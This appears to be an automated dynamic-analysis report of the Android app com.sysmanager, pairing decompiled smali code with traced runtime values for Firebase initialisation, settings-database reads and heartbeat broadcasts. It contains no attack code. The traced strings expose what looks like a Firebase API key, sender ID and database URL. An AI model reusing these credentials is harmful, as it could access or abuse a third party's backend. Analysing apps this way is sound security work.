26invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
27try_end_24: goto/16 :goto_d
28catch_25: move-exception v0
30const-string v1, "FirebaseInstanceId"
32const-string v2, "Error while delivering the message to the serviceIntent"
34invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
35const/16 v0, 0x191
36goto/16 :goto_18
37cond_30: const/4 v0, -0x1
38goto/16 :goto_18
Cross References
APIs
  • java.lang.Object.<init>
  • android.content.Context.getSharedPreferences
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • java.io.File.<init>
  • java.lang.String.<init>
Strings
  • -no-backup
  • com.google.android.gms.appid-no-backup
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lcom/google/firebase/iid/zzh;->zzqn:Landroid/content/Context;
3const/4 v0, 0x0
5invoke-virtual {p1, p2, v0}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
6move-result-object v0
7iput-object v0, p0, Lcom/google/firebase/iid/zzh;->zzbif:Landroid/content/SharedPreferences;
9invoke-static {p2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
10move-result-object v1
12const-string v0, "-no-backup"
14invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
15move-result-object v0
17invoke-virtual {v0}, Ljava/lang/String;->length()I
18move-result v2
19if-eqz v2, :cond_24
21invoke-virtual {v1, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
22move-result-object v0
23goto_20:
24invoke-direct {p0, v0}, Lcom/google/firebase/iid/zzh;->zzeG(Ljava/lang/String;)V
  • Time: 200714
    • This:
      • /data/data/com.sysmanager/no_backup/com.google.android.gms.appid-no-backup
    • p0: /data/data/com.sysmanager/no_backup
    • p1: com.google.android.gms.appid-no-backup
    • Return:
      • /data/data/com.sysmanager/no_backup/com.google.android.gms.appid-no-backup
  • Time: 200717
    • This:
      • /data/data/com.sysmanager/no_backup/com.google.android.gms.appid-no-backup
    • Return:
      • true
  • Time: 200728
    • This:
      • com.google.firebase.iid.zzh@fc34574
    • p0: com.google.android.gms.appid-no-backup
    • Return:
      • null
25return-void
26cond_24: new-instance v0, Ljava/lang/String;
28invoke-direct {v0, v1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
29goto/16 :goto_20
Cross References
APIs
  • java.lang.Object.<init>
  • java.util.concurrent.atomic.AtomicBoolean.<init>
  • java.util.concurrent.CopyOnWriteArrayList.<init>
  • com.google.android.gms.common.internal.zzac.zzdr
Strings
  • [DEFAULT]
  • [DEFAULT]
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean;
3const/4 v1, 0x0
5invoke-direct {v0, v1}, Ljava/util/concurrent/atomic/AtomicBoolean;-><init>(Z)V
6iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWG:Ljava/util/concurrent/atomic/AtomicBoolean;
7new-instance v0, Ljava/util/concurrent/atomic/AtomicBoolean;
9invoke-direct {v0}, Ljava/util/concurrent/atomic/AtomicBoolean;-><init>()V
10iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWH:Ljava/util/concurrent/atomic/AtomicBoolean;
11new-instance v0, Ljava/util/concurrent/CopyOnWriteArrayList;
13invoke-direct {v0}, Ljava/util/concurrent/CopyOnWriteArrayList;-><init>()V
14iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWI:Ljava/util/List;
15new-instance v0, Ljava/util/concurrent/CopyOnWriteArrayList;
17invoke-direct {v0}, Ljava/util/concurrent/CopyOnWriteArrayList;-><init>()V
18iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWJ:Ljava/util/List;
19new-instance v0, Ljava/util/concurrent/CopyOnWriteArrayList;
21invoke-direct {v0}, Ljava/util/concurrent/CopyOnWriteArrayList;-><init>()V
22iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWK:Ljava/util/List;
24invoke-static {p1}, Lcom/google/android/gms/common/internal/zzac;->zzw(Ljava/lang/Object;)Ljava/lang/Object;
25move-result-object v0
26check-cast v0, Landroid/content/Context;
27iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzwi:Landroid/content/Context;
29invoke-static {p2}, Lcom/google/android/gms/common/internal/zzac;->zzdr(Ljava/lang/String;)Ljava/lang/String;
  • Time: 77302
    • p0: [DEFAULT]
    • Return:
      • [DEFAULT]
30move-result-object v0
31iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->mName:Ljava/lang/String;
33invoke-static {p3}, Lcom/google/android/gms/common/internal/zzac;->zzw(Ljava/lang/Object;)Ljava/lang/Object;
34move-result-object v0
35check-cast v0, Lcom/google/firebase/FirebaseOptions;
36iput-object v0, p0, Lcom/google/firebase/FirebaseApp;->zzbWF:Lcom/google/firebase/FirebaseOptions;
37return-void
Cross References
APIs
  • com.sysmanager.storage.Settings.getReadableDatabase
  • android.database.sqlite.SQLiteDatabase.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.close
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
Position Instruction Meta Information
0.param p1, "column" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3try_start_1:
4invoke-virtual {p0}, Lcom/sysmanager/storage/Settings;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
5move-result-object v0
7const-string v11, ""
8try_end_7:
9const-string v1, "tab1"
10const/4 v2, 0x0
11const/4 v3, 0x0
12const/4 v4, 0x0
13const/4 v5, 0x0
14const/4 v6, 0x0
15const/4 v7, 0x0
17invoke-virtual/range {v0 .. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 200982
    • This:
      • SQLiteDatabase: /data/data/com.sysmanager/databases/Settings
    • table: tab1
    • columns: null
    • selection: null
    • selectionArgs: null
    • groupBy: null
    • having: null
    • orderBy: null
    • Return:
      • android.database.sqlite.SQLiteCursor@1909133c
18move-result-object v8
20invoke-interface {v8}, Landroid/database/Cursor;->moveToFirst()Z
21move-result v1
22if-eqz v1, :cond_24
24invoke-interface {v8, p1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
25move-result v9
26const/4 v1, -0x1
27if-eq v9, v1, :cond_24
29invoke-interface {v8, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
30move-result-object v11
31cond_24:
32invoke-interface {v8}, Landroid/database/Cursor;->close()V
33goto_27: if-nez v11, :cond_2b
34try_start_29:
35const-string v11, ""
36cond_2b: monitor-exit p0
37return-object v11
38catch_2d: move-exception v10
39try_start_2e:
40invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
41move-result-object v1
43invoke-static {v10}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
44move-result-object v2
46invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
47try_end_39: goto/16 :goto_27
48catchall_3a: move-exception v1
49monitor-exit p0
50throw v1
Cross References
APIs
  • com.sysmanager.storage.Settings.getReadableDatabase
  • android.database.sqlite.SQLiteDatabase.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.close
  • com.sysmanager.Scontext.getContext
Strings
  • tab1
Position Instruction Meta Information
0.param p1, "column" # Ljava/lang/String;
1.prologue
2monitor-enter p0
3try_start_1:
4invoke-virtual {p0}, Lcom/sysmanager/storage/Settings;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
5try_end_4: move-result-object v0
6const/4 v11, 0x0
7try_start_6:
8const-string v1, "tab1"
9const/4 v2, 0x0
10const/4 v3, 0x0
11const/4 v4, 0x0
12const/4 v5, 0x0
13const/4 v6, 0x0
14const/4 v7, 0x0
16invoke-virtual/range {v0 .. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 200628
    • This:
      • SQLiteDatabase: /data/data/com.sysmanager/databases/Settings
    • table: tab1
    • columns: null
    • selection: null
    • selectionArgs: null
    • groupBy: null
    • having: null
    • orderBy: null
    • Return:
      • android.database.sqlite.SQLiteCursor@1d08e6f3
  • Time: 200978
    • This:
      • SQLiteDatabase: /data/data/com.sysmanager/databases/Settings
    • table: tab1
    • columns: null
    • selection: null
    • selectionArgs: null
    • groupBy: null
    • having: null
    • orderBy: null
    • Return:
      • android.database.sqlite.SQLiteCursor@2010512f
17move-result-object v8
19invoke-interface {v8}, Landroid/database/Cursor;->moveToFirst()Z
20move-result v1
21if-eqz v1, :cond_23
23invoke-interface {v8, p1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
24move-result v9
25const/4 v1, -0x1
26if-eq v9, v1, :cond_23
28invoke-interface {v8, v9}, Landroid/database/Cursor;->getInt(I)I
29move-result v11
30cond_23:
31invoke-interface {v8}, Landroid/database/Cursor;->close()V
32try_end_26: monitor-exit p0
33return v11
34catch_28: move-exception v10
35try_start_29:
36invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
37move-result-object v1
39invoke-static {v10}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
40move-result-object v2
42invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
43try_end_34: goto/16 :goto_26
44catchall_35: move-exception v1
45monitor-exit p0
46throw v1
APIs
  • android.content.Intent.<init>
  • android.content.Context.sendBroadcast
  • com.sysmanager.system.AndroidClock.getApplicationContext
  • android.content.Intent.<init>
  • android.content.Context.sendBroadcast
Strings
  • com.google.android.intent.action.GTALK_HEARTBEAT
  • com.google.android.intent.action.MCS_HEARTBEAT
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidClock$1;->this$0:Lcom/sysmanager/system/AndroidClock;
4invoke-virtual {v0}, Lcom/sysmanager/system/AndroidClock;->getApplicationContext()Landroid/content/Context;
  • Time: 77484
    • This:
      • com.sysmanager.system.AndroidClock@2e09ab53
    • Return:
      • com.sysmanager.Scontext@37715224
5move-result-object v0
6new-instance v1, Landroid/content/Intent;
8const-string v2, "com.google.android.intent.action.GTALK_HEARTBEAT"
10invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
12invoke-virtual {v0, v1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
14iget-object v0, p0, Lcom/sysmanager/system/AndroidClock$1;->this$0:Lcom/sysmanager/system/AndroidClock;
16invoke-virtual {v0}, Lcom/sysmanager/system/AndroidClock;->getApplicationContext()Landroid/content/Context;
  • Time: 77492
    • This:
      • com.sysmanager.system.AndroidClock@2e09ab53
    • Return:
      • com.sysmanager.Scontext@37715224
17move-result-object v0
18new-instance v1, Landroid/content/Intent;
20const-string v2, "com.google.android.intent.action.MCS_HEARTBEAT"
22invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
24invoke-virtual {v0, v1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
25return-void
Cross References
APIs
  • android.content.res.Resources.getIdentifier
  • android.content.res.Resources.getString
Strings
  • string
  • 108944492905
  • 1:108944492905:android:ece3927e9687a726
  • AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs
  • future-8a57f.appspot.com
  • https://future-8a57f.firebaseio.com
Position Instruction Meta Information
1iget-object v0, p0, Lcom/google/android/gms/common/internal/zzam;->zzaGK:Landroid/content/res/Resources;
3const-string v1, "string"
5iget-object v2, p0, Lcom/google/android/gms/common/internal/zzam;->zzaGL:Ljava/lang/String;
7invoke-virtual {v0, p1, v1, v2}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
8move-result v0
9if-nez v0, :cond_e
10const/4 v0, 0x0
11goto_d: return-object v0
12cond_e:
13iget-object v1, p0, Lcom/google/android/gms/common/internal/zzam;->zzaGK:Landroid/content/res/Resources;
15invoke-virtual {v1, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 77190
    • This:
      • android.content.res.Resources@37715224
    • id: 2130968603
    • Return:
      • 1:108944492905:android:ece3927e9687a726
  • Time: 77201
    • This:
      • android.content.res.Resources@37715224
    • id: 2130968602
    • Return:
      • AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs
  • Time: 77210
    • This:
      • android.content.res.Resources@37715224
    • id: 2130968600
    • Return:
      • https://future-8a57f.firebaseio.com
  • Time: 77220
    • This:
      • android.content.res.Resources@37715224
    • id: 2130968601
    • Return:
      • 108944492905
  • Time: 77230
    • This:
      • android.content.res.Resources@37715224
    • id: 2130968605
    • Return:
      • future-8a57f.appspot.com
16move-result-object v0
17goto/16 :goto_d
Cross References
APIs
  • com.google.firebase.iid.zzf.zzHn
  • android.support.v4.util.SimpleArrayMap.put
  • android.support.v4.util.SimpleArrayMap.remove
Strings
  • 0
  • 1
  • 2
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Ljava/io/IOException;
3}
4.end annotation
6invoke-static {}, Lcom/google/firebase/iid/zzf;->zzHn()Ljava/lang/String;
  • Time: 201638
    • Return:
      • 0
  • Time: 201853
    • Return:
      • 1
  • Time: 213974
    • Return:
      • 2
7move-result-object v0
8new-instance v1, Lcom/google/firebase/iid/zzf$zza;
9const/4 v2, 0x0
11invoke-direct {v1, v2}, Lcom/google/firebase/iid/zzf$zza;-><init>(Lcom/google/firebase/iid/zzf$1;)V
13iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
14monitor-enter v2
15try_start_d:
16iget-object v3, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
18invoke-virtual {v3, v0, v1}, Landroid/support/v4/util/SimpleArrayMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
19monitor-exit v2
20try_end_13:
21invoke-virtual {p0, p1, p2, v0}, Lcom/google/firebase/iid/zzf;->zza(Landroid/os/Bundle;Ljava/security/KeyPair;Ljava/lang/String;)V
22try_start_16:
23invoke-virtual {v1}, Lcom/google/firebase/iid/zzf$zza;->zzabT()Landroid/content/Intent;
24try_end_19: move-result-object v1
26iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
27monitor-enter v2
28try_start_1d:
29iget-object v3, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
31invoke-virtual {v3, v0}, Landroid/support/v4/util/SimpleArrayMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
32monitor-exit v2
33try_end_23: return-object v1
34catchall_24: move-exception v0
35try_start_25: monitor-exit v2
36try_end_26: throw v0
37catchall_27: move-exception v0
38try_start_28: monitor-exit v2
39try_end_29: throw v0
40catchall_2a: move-exception v1
42iget-object v2, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
43monitor-enter v2
44try_start_2e:
45iget-object v3, p0, Lcom/google/firebase/iid/zzf;->zzclw:Landroid/support/v4/util/SimpleArrayMap;
47invoke-virtual {v3, v0}, Landroid/support/v4/util/SimpleArrayMap;->remove(Ljava/lang/Object;)Ljava/lang/Object;
48monitor-exit v2
49try_end_34: throw v1
50catchall_35: move-exception v0
51try_start_36: monitor-exit v2
52try_end_37: throw v0
Cross References
APIs
  • com.google.firebase.FirebaseOptions.getGcmSenderId
  • java.lang.String.startsWith
  • java.lang.String.split
  • java.lang.String.isEmpty
Strings
  • 108944492905
  • 1:
  • :
Position Instruction Meta Information
0const/4 v1, 0x0
2iget-object v0, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcli:Lcom/google/firebase/FirebaseApp;
4invoke-virtual {v0}, Lcom/google/firebase/FirebaseApp;->getOptions()Lcom/google/firebase/FirebaseOptions;
5move-result-object v0
7invoke-virtual {v0}, Lcom/google/firebase/FirebaseOptions;->getGcmSenderId()Ljava/lang/String;
  • Time: 200768
    • This:
      • com.google.firebase.FirebaseOptions@32f1fa7
    • Return:
      • 108944492905
8move-result-object v0
9if-eqz v0, :cond_e
10goto_d: return-object v0
11cond_e:
12iget-object v0, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcli:Lcom/google/firebase/FirebaseApp;
14invoke-virtual {v0}, Lcom/google/firebase/FirebaseApp;->getOptions()Lcom/google/firebase/FirebaseOptions;
15move-result-object v0
17invoke-virtual {v0}, Lcom/google/firebase/FirebaseOptions;->getApplicationId()Ljava/lang/String;
18move-result-object v0
20const-string v2, "1:"
22invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
23move-result v2
24if-eqz v2, :cond_d
26const-string v2, ":"
28invoke-virtual {v0, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
29move-result-object v0
30array-length v2, v0
31const/4 v3, 0x2
32if-ge v2, v3, :cond_2c
33move-object v0, v1
34goto/16 :goto_d
35cond_2c: const/4 v2, 0x1
36aget-object v0, v0, v2
38invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
39move-result v2
40if-eqz v2, :cond_d
41move-object v0, v1
42goto/16 :goto_d
Cross References
APIs
  • com.sysmanager.Scontext.getApplicationContext
  • java.lang.Integer.toString
  • java.util.Map.get
  • java.util.Map.put
  • android.os.Bundle.getString
Strings
  • subtype
Position Instruction Meta Information
0const-class v2, Lcom/google/firebase/iid/zzd;
1monitor-enter v2
2if-nez p1, :cond_42
3try_start_5:
4const-string v0, ""
5goto_7: if-nez v0, :cond_4c
7const-string v0, ""
8move-object v1, v0
9goto_c:
10invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 200699
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
11move-result-object v3
13sget-object v0, Lcom/google/firebase/iid/zzd;->zzclt:Lcom/google/firebase/iid/zzh;
14if-nez v0, :cond_22
15new-instance v0, Lcom/google/firebase/iid/zzh;
17invoke-direct {v0, v3}, Lcom/google/firebase/iid/zzh;-><init>(Landroid/content/Context;)V
18sput-object v0, Lcom/google/firebase/iid/zzd;->zzclt:Lcom/google/firebase/iid/zzh;
19new-instance v0, Lcom/google/firebase/iid/zzf;
21invoke-direct {v0, v3}, Lcom/google/firebase/iid/zzf;-><init>(Landroid/content/Context;)V
22sput-object v0, Lcom/google/firebase/iid/zzd;->zzclu:Lcom/google/firebase/iid/zzf;
23cond_22:
24invoke-static {v3}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcr(Landroid/content/Context;)I
25move-result v0
27invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
28move-result-object v0
29sput-object v0, Lcom/google/firebase/iid/zzd;->zzbhN:Ljava/lang/String;
31sget-object v0, Lcom/google/firebase/iid/zzd;->zzbhH:Ljava/util/Map;
33invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
34move-result-object v0
35check-cast v0, Lcom/google/firebase/iid/zzd;
36if-nez v0, :cond_40
37new-instance v0, Lcom/google/firebase/iid/zzd;
39invoke-direct {v0, v3, v1, p1}, Lcom/google/firebase/iid/zzd;-><init>(Landroid/content/Context;Ljava/lang/String;Landroid/os/Bundle;)V
41sget-object v3, Lcom/google/firebase/iid/zzd;->zzbhH:Ljava/util/Map;
43invoke-interface {v3, v1, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
44try_end_40: monitor-exit v2
45return-object v0
46cond_42:
47const-string v0, "subtype"
49invoke-virtual {p1, v0}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
50try_end_47: move-result-object v0
51goto/16 :goto_7
52catchall_49: move-exception v0
53monitor-exit v2
54throw v0
55cond_4c: move-object v1, v0
56goto/16 :goto_c
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.setPackage
  • android.app.PendingIntent.getBroadcast
  • android.content.Intent.putExtra
Strings
  • com.google.example.invalidpackage
  • app
Position Instruction Meta Information
0monitor-enter p0
1try_start_1:
2iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzbgG:Landroid/app/PendingIntent;
3if-nez v0, :cond_19
4new-instance v0, Landroid/content/Intent;
6invoke-direct {v0}, Landroid/content/Intent;-><init>()V
8const-string v1, "com.google.example.invalidpackage"
10invoke-virtual {v0, v1}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
12iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
13const/4 v2, 0x0
14const/4 v3, 0x0
16invoke-static {v1, v2, v0, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
17move-result-object v0
18iput-object v0, p0, Lcom/google/firebase/iid/zzf;->zzbgG:Landroid/app/PendingIntent;
19cond_19:
20const-string v0, "app"
22iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzbgG:Landroid/app/PendingIntent;
24invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 201782
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: app
    • p1: PendingIntent{2e2e130f: android.os.BinderProxy@6df9c}
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
25try_end_20: monitor-exit p0
26return-void
27catchall_22: move-exception v0
28monitor-exit p0
29throw v0
APIs
  • android.content.Intent.getAction
  • java.lang.String.hashCode
  • com.google.firebase.iid.FirebaseInstanceIdService.zzF
  • java.lang.String.equals
  • com.google.firebase.iid.FirebaseInstanceIdService.zza
Strings
  • ACTION_TOKEN_REFRESH_RETRY
Position Instruction Meta Information
0const/4 v1, 0x0
2invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 201013
    • This:
      • Intent { act=ACTION_TOKEN_REFRESH_RETRY (has extras) }
    • Return:
      • ACTION_TOKEN_REFRESH_RETRY
3move-result-object v0
4if-nez v0, :cond_9
6const-string v0, ""
7cond_9: const/4 v2, -0x1
9invoke-virtual {v0}, Ljava/lang/String;->hashCode()I
10move-result v3
11packed-switch v3, :pswitch_data_28
12cond_11: move v0, v2
13goto_12: packed-switch v0, :pswitch_data_2e
15invoke-virtual {p0, p1}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzF(Landroid/content/Intent;)V
16goto_18: return-void
17pswitch_19:
18const-string v3, "ACTION_TOKEN_REFRESH_RETRY"
20invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
21move-result v0
22if-eqz v0, :cond_11
23move v0, v1
24goto/16 :goto_12
25pswitch_23:
26invoke-direct {p0, p1, v1, v1}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zza(Landroid/content/Intent;ZZ)V
27goto/16 :goto_18
28nop
Cross References
APIs
  • java.lang.Object.<init>
  • com.google.firebase.iid.FirebaseInstanceId.zzabM
  • java.lang.IllegalStateException.<init>
  • com.google.firebase.iid.FirebaseInstanceIdService.zza
Strings
  • 108944492905
  • IID failing to initialize, FirebaseApp is missing project ID
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcli:Lcom/google/firebase/FirebaseApp;
3iput-object p2, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzclj:Lcom/google/firebase/iid/zzd;
5invoke-virtual {p0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzabM()Ljava/lang/String;
  • Time: 200769
    • This:
      • com.google.firebase.iid.FirebaseInstanceId@3f58165e
    • Return:
      • 108944492905
6move-result-object v0
7iput-object v0, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzclk:Ljava/lang/String;
9iget-object v0, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzclk:Ljava/lang/String;
10if-nez v0, :cond_19
11new-instance v0, Ljava/lang/IllegalStateException;
13const-string v1, "IID failing to initialize, FirebaseApp is missing project ID"
15invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
16throw v0
17cond_19:
18iget-object v0, p0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzcli:Lcom/google/firebase/FirebaseApp;
20invoke-virtual {v0}, Lcom/google/firebase/FirebaseApp;->getApplicationContext()Landroid/content/Context;
21move-result-object v0
23invoke-static {v0, p0}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zza(Landroid/content/Context;Lcom/google/firebase/iid/FirebaseInstanceId;)V
24return-void
Cross References
APIs
  • com.google.firebase.FirebaseOptions.getApplicationId
  • java.util.Map.get
  • java.util.Map.put
Strings
  • 1:108944492905:android:ece3927e9687a726
Position Instruction Meta Information
0.param p0 # Lcom/google/firebase/FirebaseApp;
1.annotation build Landroid/support/annotation/NonNull;
2.end annotation
3.end param
4.annotation build Landroid/support/annotation/Keep;
5.end annotation
6const-class v1, Lcom/google/firebase/iid/FirebaseInstanceId;
7monitor-enter v1
8try_start_3:
9sget-object v0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzbhH:Ljava/util/Map;
11invoke-virtual {p0}, Lcom/google/firebase/FirebaseApp;->getOptions()Lcom/google/firebase/FirebaseOptions;
12move-result-object v2
14invoke-virtual {v2}, Lcom/google/firebase/FirebaseOptions;->getApplicationId()Ljava/lang/String;
  • Time: 200698
    • This:
      • com.google.firebase.FirebaseOptions@32f1fa7
    • Return:
      • 1:108944492905:android:ece3927e9687a726
15move-result-object v2
17invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
18move-result-object v0
19check-cast v0, Lcom/google/firebase/iid/FirebaseInstanceId;
20if-nez v0, :cond_3f
22invoke-virtual {p0}, Lcom/google/firebase/FirebaseApp;->getApplicationContext()Landroid/content/Context;
23move-result-object v0
24const/4 v2, 0x0
26invoke-static {v0, v2}, Lcom/google/firebase/iid/zzd;->zzb(Landroid/content/Context;Landroid/os/Bundle;)Lcom/google/firebase/iid/zzd;
27move-result-object v2
29sget-object v0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzclh:Lcom/google/firebase/iid/zze;
30if-nez v0, :cond_2d
31new-instance v0, Lcom/google/firebase/iid/zze;
33invoke-virtual {v2}, Lcom/google/firebase/iid/zzd;->zzabQ()Lcom/google/firebase/iid/zzh;
34move-result-object v3
36invoke-direct {v0, v3}, Lcom/google/firebase/iid/zze;-><init>(Lcom/google/firebase/iid/zzh;)V
37sput-object v0, Lcom/google/firebase/iid/FirebaseInstanceId;->zzclh:Lcom/google/firebase/iid/zze;
38cond_2d: new-instance v0, Lcom/google/firebase/iid/FirebaseInstanceId;
40invoke-direct {v0, p0, v2}, Lcom/google/firebase/iid/FirebaseInstanceId;-><init>(Lcom/google/firebase/FirebaseApp;Lcom/google/firebase/iid/zzd;)V
42sget-object v2, Lcom/google/firebase/iid/FirebaseInstanceId;->zzbhH:Ljava/util/Map;
44invoke-virtual {p0}, Lcom/google/firebase/FirebaseApp;->getOptions()Lcom/google/firebase/FirebaseOptions;
45move-result-object v3
47invoke-virtual {v3}, Lcom/google/firebase/FirebaseOptions;->getApplicationId()Ljava/lang/String;
  • Time: 200942
    • This:
      • com.google.firebase.FirebaseOptions@32f1fa7
    • Return:
      • 1:108944492905:android:ece3927e9687a726
48move-result-object v3
50invoke-interface {v2, v3, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
51cond_3f: monitor-exit v1
52return-object v0
53catchall_41: move-exception v0
54monitor-exit v1
55throw v0
Cross References
APIs
  • com.sysmanager.InstanceIDMessage.getSystemService
  • com.google.firebase.iid.FirebaseInstanceIdService.zzqF
  • android.os.SystemClock.elapsedRealtime
  • android.app.AlarmManager.set
Strings
  • alarm
Position Instruction Meta Information
1const-string v0, "alarm"
3invoke-virtual {p0, v0}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 203809
    • This:
      • com.sysmanager.InstanceIDMessage@13e8410b
    • p0: alarm
    • Return:
      • android.app.AlarmManager@2157e2e7
  • Time: 215414
    • This:
      • com.sysmanager.InstanceIDMessage@1b0e0c7
    • p0: alarm
    • Return:
      • android.app.AlarmManager@3f503892
4move-result-object v0
5check-cast v0, Landroid/app/AlarmManager;
6const/4 v1, 0x0
7mul-int/lit8 v2, p1, 0x2
9invoke-static {v2}, Lcom/google/firebase/iid/FirebaseInstanceIdService;->zzqF(I)Landroid/content/Intent;
10move-result-object v2
11const/high16 v3, 0x8000000
